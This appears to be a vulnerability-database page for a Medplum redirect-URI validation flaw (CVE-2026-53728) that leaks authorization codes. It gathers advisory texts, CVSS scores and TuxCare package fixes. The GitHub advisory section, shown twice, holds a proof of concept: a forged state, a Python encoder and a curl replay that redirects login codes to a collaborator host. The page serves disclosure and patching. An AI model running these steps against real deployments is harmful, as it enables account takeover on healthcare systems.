CVE-2026-53728
Medplum - Improper Validation of Redirect URI in External Auth Callback allows Authorization Code Leakage
Medplum is a developer platform that enables development of healthcare apps. Prior to version 5.1.6, the external identity provider callback at GET /auth/external accepts attacker-controlled redirect URIs that only need to start with a registered client redirect URI, rather than matching exactly. After a successful external IdP login, the server appends Medplum login and code values to that attacker-supplied URL and issues a redirect. Because the external login request state is serialized as raw JSON and later trusted by the callback, an attacker who can tamper with state.redirectUri can cause Medplum to redirect authorization artifacts to an attacker-controlled endpoint. When the registered redirect URI is a bare origin or another prefix that can be extended into a different hostname, this becomes a cross-origin authorization code leak. This issue has been patched in version 5.1.6.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
7.1
Medplum - Improper Validation of Redirect URI in External Auth Callback allows Authorization Code Leakage
Medplum is a developer platform that enables development of healthcare apps. Prior to version 5.1.6, the external identity provider callback at GET /auth/external accepts attacker-controlled redirect URIs that only need to start with a registered client redirect URI, rather than matching exactly. After a successful external IdP login, the server appends Medplum login and code values to that attacker-supplied URL and issues a redirect. Because the external login request state is serialized as raw JSON and later trusted by the callback, an attacker who can tamper with state.redirectUri can cause Medplum to redirect authorization artifacts to an attacker-controlled endpoint. When the registered redirect URI is a bare origin or another prefix that can be extended into a different hostname, this becomes a cross-origin authorization code leak. This issue has been patched in version 5.1.6.
- Record
CVE-2026-53728- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L - Weakness
- CWE-601, CWE-345
- Updated
- 2026-11-02
EUVDEUVD-2026-70698
7.1
Medplum is a developer platform that enables development of healthcare apps. Prior to version 5.1.6, the external identity provider callback at GET /auth/external accepts attacker-controlled redirect URIs that only need to start with a registered client redirect URI, rather than matching exactly. After a successful external IdP login, the server appends Medplum login and code values to that attacker-supplied URL and issues a redirect. Because the external login request state is serialized as raw JSON and later trusted by the callback, an attacker who can tamper with state.redirectUri can cause Medplum to redirect authorization artifacts to an attacker-controlled endpoint. When the registered redirect URI is a bare origin or another prefix that can be extended into a different hostname, this becomes a cross-origin authorization code leak. This issue has been patched in version 5.1.6.
- Record
EUVD-2026-70698- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-m44r-7c5h-m6mj
7.1
Medplum: Improper Validation of Redirect URI in External Auth Callback allows Authorization Code Leakage
Summary
The external identity provider callback at GET /auth/external accepts attacker-controlled redirect URIs that only need to start with a registered client redirect URI, rather than matching exactly. After a successful external IdP login, the server appends Medplum login and code values to that attacker-supplied URL and issues a redirect.
Because the external login request state is serialized as raw JSON and later trusted by the callback, an attacker who can tamper with state.redirectUri can cause Medplum to redirect authorization artifacts to an attacker-controlled endpoint. When the registered redirect URI is a bare origin or another prefix that can be extended into a different hostname, this becomes a cross-origin authorization code leak.
Technical Explanation
The vulnerable flow is exposed on the unauthenticated callback route GET /auth/external.
In externalCallbackHandler(), the server parses the external auth state and uses the decoded clientId and redirectUri after completing the IdP code exchange. If login succeeds and a client is found, the handler calls:
getClientRedirectUri(client, body.redirectUri, true)
The third argument explicitly enables partial matching. In getClientRedirectUri(), the function returns the attacker-supplied requestedUri whenever:
requestedUri.startsWith(uri)
As a result, any redirect URI beginning with a registered value is accepted. The returned URL is then passed into new URL(redirectUri), and the server appends login and code query parameters before calling res.redirect().
Although externalCallbackHandler() later performs an exact-match lookup, that result is only used for logging and does not block the redirect. Therefore, the request is still redirected to the attacker-controlled URL even when it is not an exact registered redirect URI.
A practical exploitation detail is that the registered redirect URI must be a prefix that can also prefix a different origin. For example:
- Registered:
http://callback.audit.local - Malicious:
http://callback.audit.local.oastify.com/cb
The client-side external auth flow serializes the login request directly into the IdP state as JSON, which makes tampering straightforward in an intercepted or manually crafted authorization request.
Steps to Reproduce
Preconditions
- The target
ClientApplicationhas anidentityProviderconfigured. - The target client has a registered redirect URI that is prefix-matchable into an attacker-controlled hostname, for example:
- Registered redirect URI:
http://callback.audit.local
- Registered redirect URI:
- The attacker controls a collaborator endpoint such as:
https://<collaborator-host>/cb
- The attacker uses a forged
state.redirectUrithat starts with the registered value, for example:http://callback.audit.local.oastify.com/cb- or a collaborator domain that matches your local proof setup
Example forged state
{"clientId":"<medplum-client-id>","redirectUri":"http://callback.audit.local.oastify.com/cb","codeChallenge":"attack-verifier-123","codeChallengeMethod":"plain"}
URL-encode the forged state
python3 - <<'PY'
import json, urllib.parse
state = {
"clientId": "<medplum-client-id>",
"redirectUri": "http://callback.audit.local.oastify.com/cb",
"codeChallenge": "attack-verifier-123",
"codeChallengeMethod": "plain",
}
print(urllib.parse.quote(json.dumps(state, separators=(',', ':'))))
PY
Replay the external callback with cURL
Use a valid IdP authorization code obtained from a normal external login flow, then call the vulnerable callback directly:
curl -i 'http://api.audit.local:8103/auth/external?code=<valid-idp-code>&state=<URLENCODED_FORGED_STATE>
Expected result The response is a 302 redirect to the attacker-controlled endpoint, including Medplum authorization artifacts in the query string:
HTTP/1.1 302 Found
Location: http://callback.audit.local.oastify.com/cb?login=<login-id>&code=<medplum-auth-code>…
- Record
GHSA-m44r-7c5h-m6mj- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L - Weakness
- CWE-345, CWE-601
- Updated
- 2026-11-02
NVD
7.1
Medplum is a developer platform that enables development of healthcare apps. Prior to version 5.1.6, the external identity provider callback at GET /auth/external accepts attacker-controlled redirect URIs that only need to start with a registered client redirect URI, rather than matching exactly. After a successful external IdP login, the server appends Medplum login and code values to that attacker-supplied URL and issues a redirect. Because the external login request state is serialized as raw JSON and later trusted by the callback, an attacker who can tamper with state.redirectUri can cause Medplum to redirect authorization artifacts to an attacker-controlled endpoint. When the registered redirect URI is a bare origin or another prefix that can be extended into a different hostname, this becomes a cross-origin authorization code leak. This issue has been patched in version 5.1.6.
- Record
CVE-2026-53728- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L - Weakness
- CWE-345, CWE-601
- Updated
- 2026-11-02
OSV
7.1
Medplum - Improper Validation of Redirect URI in External Auth Callback allows Authorization Code Leakage
Medplum is a developer platform that enables development of healthcare apps. Prior to version 5.1.6, the external identity provider callback at GET /auth/external accepts attacker-controlled redirect URIs that only need to start with a registered client redirect URI, rather than matching exactly. After a successful external IdP login, the server appends Medplum login and code values to that attacker-supplied URL and issues a redirect. Because the external login request state is serialized as raw JSON and later trusted by the callback, an attacker who can tamper with state.redirectUri can cause Medplum to redirect authorization artifacts to an attacker-controlled endpoint. When the registered redirect URI is a bare origin or another prefix that can be extended into a different hostname, this becomes a cross-origin authorization code leak. This issue has been patched in version 5.1.6.
- Record
CVE-2026-53728- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L - Weakness
- CWE-345, CWE-601
- Updated
- 2026-11-02
OSVGHSA-m44r-7c5h-m6mj
7.1
Medplum: Improper Validation of Redirect URI in External Auth Callback allows Authorization Code Leakage
Summary
The external identity provider callback at GET /auth/external accepts attacker-controlled redirect URIs that only need to start with a registered client redirect URI, rather than matching exactly. After a successful external IdP login, the server appends Medplum login and code values to that attacker-supplied URL and issues a redirect.
Because the external login request state is serialized as raw JSON and later trusted by the callback, an attacker who can tamper with state.redirectUri can cause Medplum to redirect authorization artifacts to an attacker-controlled endpoint. When the registered redirect URI is a bare origin or another prefix that can be extended into a different hostname, this becomes a cross-origin authorization code leak.
Technical Explanation
The vulnerable flow is exposed on the unauthenticated callback route GET /auth/external.
In externalCallbackHandler(), the server parses the external auth state and uses the decoded clientId and redirectUri after completing the IdP code exchange. If login succeeds and a client is found, the handler calls:
getClientRedirectUri(client, body.redirectUri, true)
The third argument explicitly enables partial matching. In getClientRedirectUri(), the function returns the attacker-supplied requestedUri whenever:
requestedUri.startsWith(uri)
As a result, any redirect URI beginning with a registered value is accepted. The returned URL is then passed into new URL(redirectUri), and the server appends login and code query parameters before calling res.redirect().
Although externalCallbackHandler() later performs an exact-match lookup, that result is only used for logging and does not block the redirect. Therefore, the request is still redirected to the attacker-controlled URL even when it is not an exact registered redirect URI.
A practical exploitation detail is that the registered redirect URI must be a prefix that can also prefix a different origin. For example:
- Registered:
http://callback.audit.local - Malicious:
http://callback.audit.local.oastify.com/cb
The client-side external auth flow serializes the login request directly into the IdP state as JSON, which makes tampering straightforward in an intercepted or manually crafted authorization request.
Steps to Reproduce
Preconditions
- The target
ClientApplicationhas anidentityProviderconfigured. - The target client has a registered redirect URI that is prefix-matchable into an attacker-controlled hostname, for example:
- Registered redirect URI:
http://callback.audit.local
- Registered redirect URI:
- The attacker controls a collaborator endpoint such as:
https://<collaborator-host>/cb
- The attacker uses a forged
state.redirectUrithat starts with the registered value, for example:http://callback.audit.local.oastify.com/cb- or a collaborator domain that matches your local proof setup
Example forged state
{"clientId":"<medplum-client-id>","redirectUri":"http://callback.audit.local.oastify.com/cb","codeChallenge":"attack-verifier-123","codeChallengeMethod":"plain"}
URL-encode the forged state
python3 - <<'PY'
import json, urllib.parse
state = {
"clientId": "<medplum-client-id>",
"redirectUri": "http://callback.audit.local.oastify.com/cb",
"codeChallenge": "attack-verifier-123",
"codeChallengeMethod": "plain",
}
print(urllib.parse.quote(json.dumps(state, separators=(',', ':'))))
PY
Replay the external callback with cURL
Use a valid IdP authorization code obtained from a normal external login flow, then call the vulnerable callback directly:
curl -i 'http://api.audit.local:8103/auth/external?code=<valid-idp-code>&state=<URLENCODED_FORGED_STATE>
Expected result The response is a 302 redirect to the attacker-controlled endpoint, including Medplum authorization artifacts in the query string:
HTTP/1.1 302 Found
Location: http://callback.audit.local.oastify.com/cb?login=<login-id>&code=<medplum-auth-code>…
- Record
GHSA-m44r-7c5h-m6mj- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L - Weakness
- CWE-345, CWE-601
- Updated
- 2026-11-02
Show 19 moreShow less
OSVCLSA-2026-1791243042 No score
TuxCare security update for @medplum (1 CVE)
TuxCare rebuilt 8 @medplum packages to address 1 CVE. Fixed in 3.3.1-tuxcare.2.
- Record
CLSA-2026-1791243042- Updated
- 2026-11-02
OSVCLSA-2026-1792160935 No score
TuxCare security update for create-medplum (1 CVE)
TuxCare rebuilt create-medplum to address 1 CVE. Fixed in 3.3.1-tuxcare.2.
- Record
CLSA-2026-1792160935- Updated
- 2026-11-02
OSVCLSA-2026-1792160946 No score
TuxCare security update for @medplum/ccda (1 CVE)
TuxCare rebuilt @medplum/ccda to address 1 CVE. Fixed in 3.3.1-tuxcare.2.
- Record
CLSA-2026-1792160946- Updated
- 2026-11-02
OSVCLSA-2026-1792161495 No score
TuxCare security update for @medplum/app (1 CVE)
TuxCare rebuilt @medplum/app to address 1 CVE. Fixed in 3.3.1-tuxcare.2.
- Record
CLSA-2026-1792161495- Updated
- 2026-11-02
OSVCLSA-2026-1792161611 No score
TuxCare security update for @medplum/bot-layer (1 CVE)
TuxCare rebuilt @medplum/bot-layer to address 1 CVE. Fixed in 3.3.1-tuxcare.2.
- Record
CLSA-2026-1792161611- Updated
- 2026-11-02
OSVCLSA-2026-1792161726 No score
TuxCare security update for @medplum/cdk (1 CVE)
TuxCare rebuilt @medplum/cdk to address 1 CVE. Fixed in 3.3.1-tuxcare.2.
- Record
CLSA-2026-1792161726- Updated
- 2026-11-02
OSVCLSA-2026-1792161773 No score
TuxCare security update for @medplum/cli (1 CVE)
TuxCare rebuilt @medplum/cli to address 1 CVE. Fixed in 3.3.1-tuxcare.2.
- Record
CLSA-2026-1792161773- Updated
- 2026-11-02
OSVCLSA-2026-1792161869 No score
TuxCare security update for @medplum/core (1 CVE)
TuxCare rebuilt @medplum/core to address 1 CVE. Fixed in 3.3.1-tuxcare.2.
- Record
CLSA-2026-1792161869- Updated
- 2026-11-02
OSVCLSA-2026-1792161915 No score
TuxCare security update for @medplum/definitions (1 CVE)
TuxCare rebuilt @medplum/definitions to address 1 CVE. Fixed in 3.3.1-tuxcare.2.
- Record
CLSA-2026-1792161915- Updated
- 2026-11-02
OSVCLSA-2026-1792161966 No score
TuxCare security update for @medplum/dosespot-react (1 CVE)
TuxCare rebuilt @medplum/dosespot-react to address 1 CVE. Fixed in 3.3.1-tuxcare.2.
- Record
CLSA-2026-1792161966- Updated
- 2026-11-02
OSVCLSA-2026-1792162002 No score
TuxCare security update for @medplum/eslint-config (1 CVE)
TuxCare rebuilt @medplum/eslint-config to address 1 CVE. Fixed in 3.3.1-tuxcare.2.
- Record
CLSA-2026-1792162002- Updated
- 2026-11-02
OSVCLSA-2026-1792162031 No score
TuxCare security update for @medplum/fhir-router (1 CVE)
TuxCare rebuilt @medplum/fhir-router to address 1 CVE. Fixed in 3.3.1-tuxcare.2.
- Record
CLSA-2026-1792162031- Updated
- 2026-11-02
OSVCLSA-2026-1792162058 No score
TuxCare security update for @medplum/fhirtypes (1 CVE)
TuxCare rebuilt @medplum/fhirtypes to address 1 CVE. Fixed in 3.3.1-tuxcare.2.
- Record
CLSA-2026-1792162058- Updated
- 2026-11-02
OSVCLSA-2026-1792162080 No score
TuxCare security update for @medplum/health-gorilla-core (1 CVE)
TuxCare rebuilt @medplum/health-gorilla-core to address 1 CVE. Fixed in 3.3.1-tuxcare.2.
- Record
CLSA-2026-1792162080- Updated
- 2026-11-02
OSVCLSA-2026-1792162104 No score
TuxCare security update for @medplum/health-gorilla-react (1 CVE)
TuxCare rebuilt @medplum/health-gorilla-react to address 1 CVE. Fixed in 3.3.1-tuxcare.2.
- Record
CLSA-2026-1792162104- Updated
- 2026-11-02
OSVCLSA-2026-1792162106 No score
TuxCare security update for @medplum/hl7 (1 CVE)
TuxCare rebuilt @medplum/hl7 to address 1 CVE. Fixed in 3.3.1-tuxcare.2.
- Record
CLSA-2026-1792162106- Updated
- 2026-11-02
OSVCLSA-2026-1792162131 No score
TuxCare security update for @medplum/mock (1 CVE)
TuxCare rebuilt @medplum/mock to address 1 CVE. Fixed in 3.3.1-tuxcare.2.
- Record
CLSA-2026-1792162131- Updated
- 2026-11-02
OSVCLSA-2026-1792162152 No score
TuxCare security update for @medplum/react (1 CVE)
TuxCare rebuilt @medplum/react to address 1 CVE. Fixed in 3.3.1-tuxcare.2.
- Record
CLSA-2026-1792162152- Updated
- 2026-11-02
OSVCLSA-2026-1792162169 No score
TuxCare security update for @medplum/react-hooks (1 CVE)
TuxCare rebuilt @medplum/react-hooks to address 1 CVE. Fixed in 3.3.1-tuxcare.2.
- Record
CLSA-2026-1792162169- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@medplum/corenpm |
through 5.1.5 | 5.1.6 |
create-medplumTuxCare:npm |
3.3.1-tuxcare.0 up to 3.3.1-tuxcare.2, plus listed versions 3.3.13.3.1-tuxcare.1 |
3.3.1-tuxcare.2 |
@medplum/ccdaTuxCare:npm |
3.3.1-tuxcare.0 up to 3.3.1-tuxcare.2, plus listed versions 3.3.13.3.1-tuxcare.1 |
3.3.1-tuxcare.2 |
@medplum/appTuxCare:npm |
3.3.1-tuxcare.0 up to 3.3.1-tuxcare.2, plus listed versions 3.3.13.3.1-tuxcare.1 |
3.3.1-tuxcare.2 |
@medplum/bot-layerTuxCare:npm |
3.3.1-tuxcare.0 up to 3.3.1-tuxcare.2, plus listed versions 3.3.13.3.1-tuxcare.1 |
3.3.1-tuxcare.2 |
@medplum/cdkTuxCare:npm |
3.3.1-tuxcare.0 up to 3.3.1-tuxcare.2, plus listed versions 3.3.13.3.1-tuxcare.1 |
3.3.1-tuxcare.2 |
@medplum/cliTuxCare:npm |
3.3.1-tuxcare.0 up to 3.3.1-tuxcare.2, plus listed versions 3.3.13.3.1-tuxcare.1 |
3.3.1-tuxcare.2 |
@medplum/coreTuxCare:npm |
3.3.1-tuxcare.0 up to 3.3.1-tuxcare.2, plus listed versions 3.3.13.3.1-tuxcare.1 |
3.3.1-tuxcare.2 |
@medplum/definitionsTuxCare:npm |
3.3.1-tuxcare.0 up to 3.3.1-tuxcare.2, plus listed versions 3.3.13.3.1-tuxcare.1 |
3.3.1-tuxcare.2 |
@medplum/dosespot-reactTuxCare:npm |
3.3.1-tuxcare.0 up to 3.3.1-tuxcare.2, plus listed versions 3.3.13.3.1-tuxcare.1 |
3.3.1-tuxcare.2 |
Show 10 moreShow less
| Package | Affected | Fixed |
|---|---|---|
@medplum/eslint-configTuxCare:npm |
3.3.1-tuxcare.0 up to 3.3.1-tuxcare.2, plus listed versions 3.3.13.3.1-tuxcare.1 |
3.3.1-tuxcare.2 |
@medplum/fhir-routerTuxCare:npm |
3.3.1-tuxcare.0 up to 3.3.1-tuxcare.2, plus listed versions 3.3.13.3.1-tuxcare.1 |
3.3.1-tuxcare.2 |
@medplum/fhirtypesTuxCare:npm |
3.3.1-tuxcare.0 up to 3.3.1-tuxcare.2, plus listed versions 3.3.13.3.1-tuxcare.1 |
3.3.1-tuxcare.2 |
@medplum/health-gorilla-coreTuxCare:npm |
3.3.1-tuxcare.0 up to 3.3.1-tuxcare.2, plus listed versions 3.3.13.3.1-tuxcare.1 |
3.3.1-tuxcare.2 |
@medplum/health-gorilla-reactTuxCare:npm |
3.3.1-tuxcare.0 up to 3.3.1-tuxcare.2, plus listed versions 3.3.13.3.1-tuxcare.1 |
3.3.1-tuxcare.2 |
@medplum/hl7TuxCare:npm |
3.3.1-tuxcare.0 up to 3.3.1-tuxcare.2, plus listed versions 3.3.13.3.1-tuxcare.1 |
3.3.1-tuxcare.2 |
@medplum/mockTuxCare:npm |
3.3.1-tuxcare.0 up to 3.3.1-tuxcare.2, plus listed versions 3.3.13.3.1-tuxcare.1 |
3.3.1-tuxcare.2 |
@medplum/reactTuxCare:npm |
3.3.1-tuxcare.0 up to 3.3.1-tuxcare.2, plus listed versions 3.3.13.3.1-tuxcare.1 |
3.3.1-tuxcare.2 |
@medplum/react-hooksTuxCare:npm |
3.3.1-tuxcare.0 up to 3.3.1-tuxcare.2, plus listed versions 3.3.13.3.1-tuxcare.1 |
3.3.1-tuxcare.2 |
@medplum/corenpm |
before 5.1.6 | 5.1.6 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-53728 is a high vulnerability (CVSS 7.1) in Medplum, published August 17, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.20%, the 9th percentile. Fixed in @medplum/core 5.1.6.
References
github.com/medplum/medplum/security/advisories/GHSA-m44r-7c5h-m6mj
github.com/medplum/medplum/pull/8749
github.com/medplum/medplum/commit/7ae10035ddadde4dba7b18d3156553940465b3a1
github.com/medplum/medplum/releases/tag/v5.1.6
github.com/advisories/GHSA-m44r-7c5h-m6mj
github.com/CVEProject/cvelistV5/tree/main/cves/2026/53xxx/CVE-2026-53728.json
nvd.nist.gov/vuln/detail/CVE-2026-53728
github.com/medplum/medplum
Left out here: the rest of 2 source descriptions. The JSON record has them.